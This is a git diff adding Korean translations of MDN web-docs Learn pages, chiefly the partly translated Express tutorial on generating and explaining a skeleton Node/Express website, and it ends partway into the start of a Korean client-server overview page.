+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/server-side/express_nodejs/스켈레톤_웹사이트/index.html b/files/ko/learn/server-side/express_nodejs/스켈레톤_웹사이트/index.html
new file mode 100644
index 0000000000..ca72e39124
--- /dev/null
+++ b/files/ko/learn/server-side/express_nodejs/스켈레톤_웹사이트/index.html
@@ -0,0 +1,512 @@
+---
+title: 'Express Tutorial Part 2: 스켈레톤 웹사이트 만들기'
+slug: Learn/Server-side/Express_Nodejs/스켈레톤_웹사이트
+translation_of: Learn/Server-side/Express_Nodejs/skeleton_website
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<p class="summary">This second article in our <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial</a> shows how you can create a "skeleton" website project which you can then go on to populate with site-specific routes, templates/views, and database calls.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Set up a Node development environment</a>. Review the Express Tutorial.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td><em>Express 앱 제너레이터를 사용하여 자신만의 새로운 웹사이트 프로젝트를 시작할 수 있다.</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Overview">Overview</h2>
+
+<p>이 아티클은 당신이 <a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> 도구를 이용하여 스켈레톤(최소한의 프레임 모형만 갖춘) 웹사이트를 만드는 방법을 보여줍니다. 이는 사이트에 맞춘 라우트, 뷰/템플릿 그리고 데이터 베이스를 사용할 수 있게 합니다. In this case, we'll use the tool to create the framework for our <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Local Library website</a>, to which we'll later add all the other code needed by the site. The process is extremely simple, requiring only that you invoke the generator on the command line with a new project name, optionally also specifying the site's template engine and CSS generator.</p>
+
+<p><span style="line-height: 1.5;">The following sections show you how to call the application generator, and provides a little explanation about the different view/CSS options. We'll also explain how the skeleton website is structured. At the end, we'll show how you can run the website to verify that it works.</span></p>
+
+<div class="note">
+<p><span style="line-height: 1.5;"><strong>Note</strong>: The <em>Express Application Generator</em> is not the only generator for Express applications, and the generated project is not the only viable way to structure your files and directories. The generated site does however have a modular structure that is easy to extend and understand. For information about a <em>minimal</em> Express application, see <a href="https://expressjs.com/en/starter/hello-world.html">Hello world example</a> (Express docs).</span></p>
+</div>
+
+<h2 id="Using_the_application_generator">Using the application generator</h2>
+
+<p>You should already have installed the generator as part of <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">setting up a Node development environment</a>. As a quick reminder, you install the generator tool site-wide using the NPM package manager, as shown:</p>
+
+<pre class="brush: bash"><code>npm install express-generator -g</code></pre>
+
+<p>The generator has a number of options, which you can view on the command line using the <code>--help</code> (or <code>-h</code>) command:</p>
+
+<pre class="brush: bash">&gt; express --help
+
+    Usage: express [options] [dir]
+
+
+  Options:
+
+        --version        output the version number
+    -e, --ejs            add ejs engine support
+        --pug            add pug engine support
+        --hbs            add handlebars engine support
+    -H, --hogan          add hogan.js engine support
+    -v, --view &lt;engine&gt;  add view &lt;engine&gt; support (dust|ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade)
+        --no-view        use static html instead of view engine
+    -c, --css &lt;engine&gt;   add stylesheet &lt;engine&gt; support (less|stylus|compass|sass) (defaults to plain css)
+        --git            add .gitignore
+    -f, --force          force on non-empty directory
+    -h, --help           output usage information
+</pre>
+
+<p>You can simply specify <code>express</code> to create a project inside the <em>current</em> directory using the <em>Jade</em> view engine and plain CSS (if you specify a directory name then the project will be created in a sub-folder with that name).</p>
+
+<pre class="brush: bash"><code>express</code></pre>
+
+<p>You can also choose a view (template) engine using <code>--view</code> and/or a CSS generation engine using <code>--css</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The other options for choosing template engines (e.g. <code>--hogan</code>, <code>--ejs</code>, <code>--hbs</code> etc.) are deprecated. Use <code>--view</code> (or<code> -v</code>)!</p>
+</div>
+
+<h3 id="What_view_engine_should_I_use">What view engine should I use?</h3>
+
+<p>The <em>Express Application Generator</em> allows you to configure a number of popular view/templating engines, including <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a>, and <a href="https://www.npmjs.com/package/vash">Vash</a>, although it chooses Jade by default if you don't specify a view option. Express itself can also support a large number of other templating languages <a href="https://github.com/expressjs/express/wiki#template-engines">out of the box</a>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> If you want to use a template engine that isn't supported by the generator then see <a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs) and the documentation for your target view engine.</p>
+</div>
+
+<p>Generally speaking, you should select a templating engine that delivers all the functionality you need and allows you to be productive sooner — or in other words, in the same way that you choose any other component! Some of the things to consider when comparing template engines:</p>
+
+<ul>
+ <li>Time to productivity — If your team already has experience with a templating language then it is likely they will be productive faster using that language. If not, then you should consider the relative learning curve for candidate templating engines.</li>
+ <li>Popularity and activity — Review the popularity of the engine and whether it has an active community. It is important to be able to get support for the engine when you have problems over the lifetime of the website.</li>
+ <li>Style — Some template engines use specific markup to indicate inserted content within "ordinary" HTML, while others construct the HTML using a different syntax (for example, using indentation and block names).</li>
+ <li>Performance/rendering time.</li>
+ <li>Features — you should consider whether the engines you look at have the following features available:
+  <ul>
+   <li>Layout inheritance: Allows you to define a base template and then "inherit" just the parts of it that you want to be different for a particular page. This is typically a better approach than building templates by including a number of required components or building a template from scratch each time.</li>
+   <li>"Include" support: Allows you to build up templates by including other templates.</li>
+   <li>Concise variable and loop control syntax.</li>
+   <li>Ability to filter variable values at template level (e.g. making variables upper-case, or formatting a date value).</li>
+   <li>Ability to generate output formats other than HTML (e.g. JSON or XML).</li>
+   <li>Support for asynchronous operations and streaming.</li>
+   <li>Can be used on the client as well as the server. If a templating engine can be used on the client this allows the possibility of serving data and having all or most of the rendering done client-side.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Tip:</strong> There are many resources on the Internet to help you compare the different options!</p>
+</div>
+
+<p>For this project, we'll use the <a href="https://pugjs.org/api/getting-started.html">Pug</a> templating engine (this is the recently-renamed Jade engine), as this is one of the most popular Express/JavaScript templating languages and is supported out of the box by the generator.</p>
+
+<h3 id="What_CSS_stylesheet_engine_should_I_use">What CSS stylesheet engine should I use?</h3>
+
+<p>The <em>Express Application Generator</em> allows you to create a project that is configured to use the most common CSS stylesheet engines: <a href="http://lesscss.org/">LESS</a>, <a href="http://sass-lang.com/">SASS</a>, <a href="http://compass-style.org/">Compass</a>, <a href="http://stylus-lang.com/">Stylus</a>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>CSS has some limitations that make certain tasks difficult. CSS stylesheet engines allow you to use more powerful syntax for defining your CSS and then compile the definition into plain-old CSS for browsers to use.</p>
+</div>
+
+<p>As with templating engines, you should use the stylesheet engine that will allow your team to be most productive. For this project, we'll use the ordinary CSS (the default) as our CSS requirements are not sufficiently complicated to justify using anything else.</p>
+
+<h3 id="What_database_should_I_use">What database should I use?</h3>
+
+<p>The generated code doesn't use/include any databases. <em>Express</em> apps can use any <a href="https://expressjs.com/en/guide/database-integration.html">database mechanism</a> supported by <em>Node</em> (<em>Express</em> itself doesn't define any specific additional behavior/requirements for database management).</p>
+
+<p>We'll discuss how to integrate with a database in a later article.</p>
+
+<h2 id="Creating_the_project">Creating the project</h2>
+
+<p><em>Local Library</em> 샘플 앱을 위해서 우리는 <em>express-locallibrary-tutorial </em>라는 이름의 프로젝트를 생성할 것입니다. <em>Pug</em> 라는(jade의 후속격) 템플릿 라이브러리를 사용할 것이며, CSS stylesheet 엔진은 사용하지 않습니다.</p>
+
+<p>First, navigate to where you want to create the project and then run the <em>Express Application Generator</em> in the command prompt as shown:</p>
+
+<pre class="brush: bash">express express-locallibrary-tutorial --view=pug
+</pre>
+
+<p>The generator will create (and list) the project's files.</p>
+
+<pre class="brush: bash">   create : express-locallibrary-tutorial\
+   create : express-locallibrary-tutorial\public\
+   create : express-locallibrary-tutorial\public\javascripts\
+   create : express-locallibrary-tutorial\public\images\
+   create : express-locallibrary-tutorial\public\stylesheets\
+   create : express-locallibrary-tutorial\public\stylesheets\style.css
+   create : express-locallibrary-tutorial\routes\
+   create : express-locallibrary-tutorial\routes\index.js
+   create : express-locallibrary-tutorial\routes\users.js
+   create : express-locallibrary-tutorial\views\
+   create : express-locallibrary-tutorial\views\error.pug
+   create : express-locallibrary-tutorial\views\index.pug
+   create : express-locallibrary-tutorial\views\layout.pug
+   create : express-locallibrary-tutorial\app.js
+   create : express-locallibrary-tutorial\package.json
+   create : express-locallibrary-tutorial\bin\
+   create : express-locallibrary-tutorial\bin\www
+
+   change directory:
+     &gt; cd express-locallibrary-tutorial
+
+   install dependencies:
+     &gt; npm install
+
+   run the app:
+     &gt; SET DEBUG=express-locallibrary-tutorial:* &amp; npm start</pre>
+
+<p>At the end of the output, the generator provides instructions on how you install the dependencies (as listed in the <strong>package.json</strong> file) and then how to run the application (the instructions above are for Windows; on Linux/macOS they will be slightly different).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> When using Windows, the &amp;&amp; and &amp; assumes you are using the Command Prompt. If you are using the new default PowerShell terminal do not concatenate the commands with &amp;&amp; and &amp;. Instead set the DEBUG environment variable with $ENV:DEBUG = "express-locallibrary-tutorial:*";. The npm start can be followed by the npm start. </p>
+</div>
+
+<h2 id="Running_the_skeleton_website">Running the skeleton website</h2>
+
+<p>At this point, we have a complete skeleton project. The website doesn't actually <em>do</em> very much yet, but it's worth running it to show how it works.</p>
+
+<ol>
+ <li>First, install the dependencies (the <code>install</code> command will fetch all the dependency packages listed in the project's<strong> package.json</strong> file).
+
+  <pre class="brush: bash">cd express-locallibrary-tutorial
+npm install</pre>
+ </li>
+ <li>Then run the application.
+  <ul>
+   <li>On Windows, use this command:
+    <pre class="brush: bash">SET DEBUG=express-locallibrary-tutorial:* &amp; npm start</pre>
+   </li>
+   <li>On macOS or Linux, use this command:
+    <pre class="brush: bash">DEBUG=express-locallibrary-tutorial:* npm start
+</pre>
+   </li>
+  </ul>
+ </li>
+ <li>Then load <a href="http://localhost:3000/">http://localhost:3000/</a> in your browser to access the app.</li>
+</ol>
+
+<p>You should see a browser page that looks like this:</p>
+
+<p><img alt="Browser for default Express app generator website" src="https://mdn.mozillademos.org/files/14375/ExpressGeneratorSkeletonWebsite.png" style="display: block; height: 403px; margin: 0px auto; width: 576px;"></p>
+
+<p>You have a working Express application, serving itself to <em>localhost:3000</em>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> You could also start the app just using the <code>npm start</code> command. Specifying the DEBUG variable as shown enables console logging/debugging. For example, when you visit the above page you'll see debug output like this:</p>
+
+<pre class="brush: bash">&gt;SET DEBUG=express-locallibrary-tutorial:* &amp; npm start
+
+&gt; express-locallibrary-tutorial@0.0.0 start D:\github\mdn\test\exprgen\express-locallibrary-tutorial
+&gt; node ./bin/www
+
+  express-locallibrary-tutorial:server Listening on port 3000 +0ms
+GET / 304 490.296 ms - -
+GET /stylesheets/style.css 200 4.886 ms - 111
+</pre>
+</div>
+
+<h2 id="Enable_server_restart_on_file_changes">Enable server restart on file changes</h2>
+
+<p>Any changes you make to your Express website are currently not visible until you restart the server. It quickly becomes very irritating to have to stop and restart your server every time you make a change, so it is worth taking the time to automate restarting the server when needed.</p>
+
+<p>One of the easiest such tools for this purpose is <a href="https://github.com/remy/nodemon">nodemon</a>. This is usually installed globally (as it is a "tool"), but here we'll install and use it locally as a <em>developer dependency</em>, so that any developers working with the project get it automatically when they install the application. Use the following command in the root directory for the skeleton project:</p>
+
+<pre class="brush: bash">npm install --save-dev nodemon</pre>
+
+<p>If you still choose to install <a href="https://github.com/remy/nodemon">nodemon</a> globally to your machine, and not only to your project's <strong>package.json</strong> file:</p>
+
+<pre class="brush: bash">npm install -g nodemon</pre>
+
+<p>If you open your project's <strong>package.json</strong> file you'll now see a new section with this dependency:</p>
+
+<pre class="brush: json"> "devDependencies": {
+    "nodemon": "^1.18.10"
+}
+</pre>
+
+<p>Because the tool isn't installed globally we can't launch it from the command line (unless we add it to the path) but we can call it from an NPM script because NPM knows all about the installed packages. Find the the <code>scripts</code> section of your package.json. Initially, it will contain one line, which begins with <code>"start"</code>. Update it by putting a comma at the end of that line, and adding the <code>"devstart"</code> line seen below:</p>
+
+<pre class="brush: json">  "scripts": {
+    "start": "node ./bin/www"<strong>,</strong>
+<strong>    "devstart": "nodemon ./bin/www",
+    "serverstart": "</strong>DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart"</strong>
+  },
+</pre>
+
+<p>We can now start the server in almost exactly the same way as previously, but with the <code>devstart</code> command specified:</p>
+
+<ul>
+ <li>On Windows, use this command:
+  <pre class="brush: bash">SET DEBUG=express-locallibrary-tutorial:* &amp; npm <strong>run devstart</strong></pre>
+ </li>
+ <li>On macOS or Linux, use this command:
+  <pre class="brush: bash">DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong>
+</pre>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong> Now if you edit any file in the project the server will restart (or you can restart it by typing <code>rs</code> on the command prompt at any time). You will still need to reload the browser to refresh the page.</p>
+
+<p>We now have to call "<code>npm run <em>&lt;scriptname&gt;</em></code>" rather than just <code>npm start</code>, because "start" is actually an NPM command that is mapped to the named script. We could have replaced the command in the <em>start</em> script but we only want to use <em>nodemon</em> during development, so it makes sense to create a new script command.</p>
+
+<p>The <code>serverstart</code> command added to the scripts in the <strong>package.json</strong> above is a very good example. Using this approach means you no longer have to type a long command shown to start the server. Note that the particular command added to the script works for macOS or Linux only.</p>
+</div>
+
+<h2 id="The_generated_project">The generated project</h2>
+
+<p>Let's now take a look at the project we just created.</p>
+
+<h3 id="Directory_structure">Directory structure</h3>
+
+<p>The generated project, now that you have installed dependencies, has the following file structure (files are the items <strong>not</strong> prefixed with "/"). The <strong>package.json</strong> file defines the application dependencies and other information. It also defines a startup script that will call the application entry point, the JavaScript file <strong>/bin/www</strong>. This sets up some of the application error handling and then loads <strong>app.js</strong> to do the rest of the work. The app routes are stored in separate modules under the <strong>routes/</strong> directory. The templates are stored under the /<strong>views</strong> directory.</p>
+
+<pre>/express-locallibrary-tutorial
+    <strong>app.js</strong>
+    /bin
+        <strong>www</strong>
+    <strong>package.json</strong>
+    <strong>package-lock.json</strong>
+    /node_modules
+        [about 6700 subdirectories and files]
+    /public
+        /images
+        /javascripts
+        /stylesheets
+            <strong>style.css</strong>
+    /routes
+        <strong>index.js</strong>
+        <strong>users.js</strong>
+    /views
+        <strong>error.pug</strong>
+        <strong>index.pug</strong>
+        <strong>layout.pug</strong>
+
+</pre>
+
+<p>The following sections describe the files in a little more detail.</p>
+
+<h3 id="package.json">package.json</h3>
+
+<p>The <strong>package.json </strong>file defines the application dependencies and other information:</p>
+
+<pre class="brush: json">{
+  "name": "express-locallibrary-tutorial",
+  "version": "0.0.0",
+  "private": true,
+  "scripts": {
+    "start": "node ./bin/www",
+    "devstart": "nodemon ./bin/www"
+  },
+  "dependencies": {
+    "cookie-parser": "~1.4.3",
+    "debug": "~2.6.9",
+    "express": "~4.16.0",
+    "http-errors": "~1.6.2",
+    "morgan": "~1.9.0",
+    "pug": "2.0.0-beta11"
+  },
+  "devDependencies": {
+    "nodemon": "^1.18.10"
+  }
+}
+</pre>
+
+<p>The dependencies include the <em>express</em> package and the package for our selected view engine (<em>pug</em>). In addition, we have the following packages that are useful in many web applications:</p>
+
+<ul>
+ <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: Used to parse the cookie header and populate <code>req.cookies</code> (essentially provides a convenient method for accessing cookie information).</li>
+ <li><a href="https://www.npmjs.com/package/debug">debug</a>: A tiny node debugging utility modeled after node core's debugging technique.</li>
+ <li><a href="https://www.npmjs.com/package/morgan">morgan</a>: An HTTP request logger middleware for node.</li>
+ <li><a href="https://www.npmjs.com/package/http-errors">http-errors</a>: Create HTTP errors where needed (for express error handling).</li>
+</ul>
+
+<p>The scripts section defines a "<em>start</em>" script, which is what we are invoking when we call <code>npm start</code> to start the server. From the script definition, you can see that this actually starts the JavaScript file <strong>./bin/www</strong> with <em>node</em>. It also defines a "<em>devstart</em>" script, which we invoke when calling <code>npm run devstart</code> instead. This starts the same <strong>./bin/www</strong> file, but with <em>nodemon</em> rather than <em>node</em>.</p>
+
+<pre class="brush: json">  "scripts": {
+    "start": "node ./bin/www",
+    "devstart": "nodemon ./bin/www"
+  },
+</pre>
+
+<h3 id="www_file">www file</h3>
+
+<p>The file <strong>/bin/www</strong> is the application entry point! The very first thing this does is <code>require()</code> the "real" application entry point (<strong>app.js</strong>, in the project root) that sets up and returns the <code><a href="http://expressjs.com/en/api.html">express()</a></code> application object.</p>
+
+<pre class="brush: js">#!/usr/bin/env node
+
+/**
+ * Module dependencies.
+ */
+
+<strong>var app = require('../app');</strong>
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> <code>require()</code> is a global node function that is used to import modules into the current file. Here we specify <strong>app.js</strong> module using a relative path and omitting the optional (.<strong>js</strong>) file extension.</p>
+</div>
+
+<p>The remainder of the code in this file sets up a node HTTP server with <code>app</code> set to a specific port (defined in an environment variable or 3000 if the variable isn't defined), and starts listening and reporting server errors and connections. For now you don't really need to know anything else about the code (everything in this file is "boilerplate"), but feel free to review it if you're interested.</p>
+
+<h3 id="app.js">app.js</h3>
+
+<p>This file creates an <code>express</code> application object (named <code>app</code>, by convention), sets up the application with various settings and middleware, and then exports the app from the module. The code below shows just the parts of the file that create and export the app object:</p>
+
+<pre class="brush: js"><code>var express = require('express');
+var app = express();
+...
+</code>module.exports = app;
+</pre>
+
+<p>Back in the <strong>www</strong> entry point file above, it is this <code>module.exports</code> object that is supplied to the caller when this file is imported.</p>
+
+<p>Let's work through the <strong>app.js</strong> file in detail. First, we import some useful node libraries into the file using <code>require()</code>, including http-errors, <em>express</em>, <em>morgan</em> and <em>cookie-parser</em> that we previously downloaded for our application using NPM; and <em>path</em>, which is a core Node library for parsing file and directory paths.</p>
+
+<pre class="brush: js">var createError = require('http-errors');
+var express = require('express');
+var path = require('path');
+var cookieParser = require('cookie-parser');
+var logger = require('morgan');
+</pre>
+
+<p>Then we <code>require()</code> modules from our routes directory. These modules/files contain code for handling particular sets of related "routes" (URL paths). When we extend the skeleton application, for example to list all books in the library, we will add a new file for dealing with book-related routes.</p>
+
+<pre class="brush: js">var indexRouter = require('./routes/index');
+var usersRouter = require('./routes/users');
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> At this point, we have just <em>imported</em> the module; we haven't actually used its routes yet (this happens just a little bit further down the file).</p>
+</div>
+
+<p>Next, we create the <code>app</code> object using our imported <em>express</em> module, and then use it to set up the view (template) engine. There are two parts to setting up the engine. First, we set the '<code>views</code>' value to specify the folder where the templates will be stored (in this case the subfolder <strong>/views</strong>). Then we set the '<code>view engine</code>' value to specify the template library (in this case "pug").</p>
+
+<pre class="brush: js">var app = express();
+
+// view engine setup
+app.set('views', path.join(__dirname, 'views'));
+app.set('view engine', 'pug');
+</pre>
+
+<p>The next set of functions call <code>app.use()</code> to add the <em>middleware</em> libraries into the request handling chain. In addition to the 3rd party libraries we imported previously, we use the <code>express.static</code> middleware to get <em>Express</em> to serve all the static files in the <strong>/public</strong> directory in the project root.</p>
+
+<pre class="brush: js">app.use(logger('dev'));
+app.use(express.json());
+app.use(express.urlencoded({ extended: false }));
+app.use(cookieParser());
+<strong>app.use(express.static(path.join(__dirname, 'public')));</strong>
+</pre>
+
+<p>Now that all the other middleware is set up, we add our (previously imported) route-handling code to the request handling chain. The imported code will define particular routes for the different <em>parts</em> of the site:</p>
+
+<pre class="brush: js">app.use('/', indexRouter);
+app.use('/users', usersRouter);
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> The paths specified above ('/' and '<code>/users'</code>) are treated as a prefix to routes defined in the imported files. So for example, if the imported <strong>users</strong> module defines a route for <code>/profile</code>, you would access that route at <code>/users/profile</code>. We'll talk more about routes in a later article.</p>
+</div>
+
+<p id="error_handling">The last middleware in the file adds handler methods for errors and HTTP 404 responses.</p>
+
+<pre class="brush: js">// catch 404 and forward to error handler
+app.use(function(req, res, next) {
+  next(createError(404));
+});
+
+// error handler
+app.use(function(err, req, res, next) {
+  // set locals, only providing error in development
+  res.locals.message = err.message;
+  res.locals.error = req.app.get('env') === 'development' ? err : {};
+
+  // render the error page
+  res.status(err.status || 500);
+  res.render('error');
+});
+</pre>
+
+<p>The Express application object (app) is now fully configured. The last step is to add it to the module exports (this is what allows it to be imported by <strong>/bin/www</strong>).</p>
+
+<pre class="brush: js">module.exports = app;</pre>
+
+<h3 id="Routes">Routes</h3>
+
+<p>The route file <strong>/routes/users.js</strong> is shown below (route files share a similar structure, so we don't need to also show <strong>index.js</strong>). First, it loads the <em>express</em> module and uses it to get an <code>express.Router</code> object. Then it specifies a route on that object and lastly exports the router from the module (this is what allows the file to be imported into <strong>app.js</strong>).</p>
+
+<pre class="brush: js">var express = require('express');
+var router = express.Router();
+
+/* GET users listing. */
+<strong>router.get('/', function(req, res, next) {
+  res.send('respond with a resource');</strong>
+});
+
+module.exports = router;
+</pre>
+
+<p>The route defines a callback that will be invoked whenever an HTTP <code>GET</code> request with the correct pattern is detected. The matching pattern is the route specified when the module is imported ('<code>/users</code>') plus whatever is defined in this file ('<code>/</code>'). In other words, this route will be used when an URL of <code>/users/</code> is received.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> Try this out by running the server with node and visiting the URL in your browser: <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>. You should see a message: 'respond with a resource'.</p>
+</div>
+
+<p>One thing of interest above is that the callback function has the third argument '<code>next</code>', and is hence a middleware function rather than a simple route callback. While the code doesn't currently use the <code>next</code> argument, it may be useful in the future if you want to add multiple route handlers to the <code>'/'</code> route path.</p>
+
+<h3 id="Views_templates">Views (templates)</h3>
+
+<p>The views (templates) are stored in the <strong>/views</strong> directory (as specified in <strong>app.js</strong>) and are given the file extension <strong>.pug</strong>. The method <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> is used to render a specified template along with the values of named variables passed in an object, and then send the result as a response. In the code below from <strong>/routes/index.js</strong> you can see how that route renders a response using the template "index" passing the template variable "title".</p>
+
+<pre class="brush: js">/* GET home page. */
+router.get('/', function(req, res, next) {
+  res.render('index', { title: 'Express' });
+});
+</pre>
+
+<p>The corresponding template for the above route is given below (<strong>index.pug</strong>). We'll talk more about the syntax later. All you need to know for now is that the <code>title</code> variable (with value <code>'Express'</code>) is inserted where specified in the template.</p>
+
+<pre>extends layout
+
+block content
+  h1= title
+  p Welcome to #{title}
+</pre>
+
+<h2 id="Challenge_yourself">Challenge yourself</h2>
+
+<p>Create a new route in <strong>/routes/users.js</strong> that will display the text "<em>You're so cool"</em> at URL <code>/users/cool/</code>. Test it by running the server and visiting <a href="http://localhost:3000/users/cool/">http://localhost:3000/users/cool/</a> in your browser</p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>You have now created a skeleton website project for the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Local Library</a> and verified that it runs using <em>node</em>. Most importantly, you also understand how the project is structured, so you have a good idea where we need to make changes to add routes and views for our local library.</p>
+
+<p>Next, we'll start modifying the skeleton so that it works as a library website.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://expressjs.com/en/starter/generator.html">Express application generator</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/first_steps/client-server_overview/index.html b/files/ko/learn/server-side/first_steps/client-server_overview/index.html
new file mode 100644
index 0000000000..cc39e1802e
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/client-server_overview/index.html
@@ -0,0 +1,324 @@
+---
+title: Client-Server overview
+slug: Learn/Server-side/First_steps/Client-Server_overview
+tags:
+  - 서버측 프로그래밍
+translation_of: Learn/Server-side/First_steps/Client-Server_overview
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">이제 서버 측 프로그래밍의 목적과 잠재적 이점을 알았으니 서버가 브라우저에서 "동적 요청"을받을 때 어떤 일이 발생하는지 자세히 살펴 보겠습니다. 대부분의 웹 사이트 서버 측 코드는 요청 및 응답을 비슷한 방식으로 처리하므로 대부분의 코드를 작성할 때 수행해야 할 작업을 이해하는 데 도움이됩니다</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수 과목:</th>
+   <td>
+    <p>기본적인 컴퓨터 활용법,</p>
+
+    <p>웹서버에 대한 기초적인 이해</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>
+    <p>클라이언트-서버가 동적 웹사이트에서 어떻게 상호작용을 하는지 이해하고, </p>
+
+    <p>특히 서버 측 코드로 수행해야하는 작업을 이해합니다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이 기사는 실제 코드가 없습니다.  왜냐하면 우리는 아직 어떤 웹프레임 워크를 사용하여 코드를 작성할지 선택하지 않았기 때문입니다. 그러나 설명된 동작은 사용자가 선택하는 언어나 웹 프레임워크와 관계없이 서버 측 코드에 의해 구현 되야하므로 이 기사는 여전히 관계가 있습니다.</p>
+
+<h2 id="Web_servers_and_HTTP_(a_primer)">Web servers and HTTP (a primer)</h2>
+
+<p>웹 브라우저는 <strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransport <strong>P</strong>rotocol (<a href="https://developer.mozilla.org/ko/docs/Web/HTTP">HTTP</a>)을 사용 하여 웹 서버와 통신을 합니다 . 당신이 웹 페이지의 링크를 클릭하거나, form을 전송 하거나, 검색을 시작하거나 할 때 웹 브라우저는 <em>HTTP Request</em>를 서버에 보냅니다.</p>
+
+<p>이 요청이 포함 하는것은 다음과 같습니다:</p>
+
+<ul>
+ <li>대상 서버및 리소스를 식별하는 URL.  (예: HTML파일, 서버의 특별한 데이터 요소, 또는 실행할 도구)</li>
+ <li>필요한 행동을 정의할 메소드 (예를 들면, 파일을 얻거나 어떤 데이터를 저장하거나 업데이트하는 것). 여러 메소드/단어 그리고 그들과 관련된 행동이 아래에 나열 되어있습니다:
+  <ul>
